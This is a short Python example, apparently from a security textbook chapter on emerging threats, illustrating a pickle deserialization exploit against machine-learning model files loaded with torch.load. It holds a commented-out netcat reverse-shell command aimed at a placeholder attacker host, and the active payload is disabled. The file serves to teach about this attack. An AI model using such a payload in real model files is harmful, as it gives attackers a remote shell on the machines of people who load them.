#!/usr/bin/env python3
"""
44.5.1 The Pickle Exploit

Source: Chapter_44_Emerging_Threats
Category: utils
"""

import pickle
import os

import argparse
import sys

class MaliciousModel:
    def __reduce__(self):
        # This command runs when the victim does `torch.load('model.bin')`
        # SECURITY WARNING: The following line is commented out to prevent accidental RCE durng scans.
        # return (os.system, ('nc -e /bin/sh attacker.com 4444',))
        print("[-] RCE payload disabled for security.")
        return (print, ("RCE payload disabled",))

# Generating the payload
# payload = pickle.dumps(MaliciousModel())
# with open('pytorch_model.bin', 'wb') as f:
#     f.write(payload)


def main():
    """Command-line interface."""
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
    args = parser.parse_args()
    
    # TODO: Add main execution logic
    pass

if __name__ == "__main__":
    main()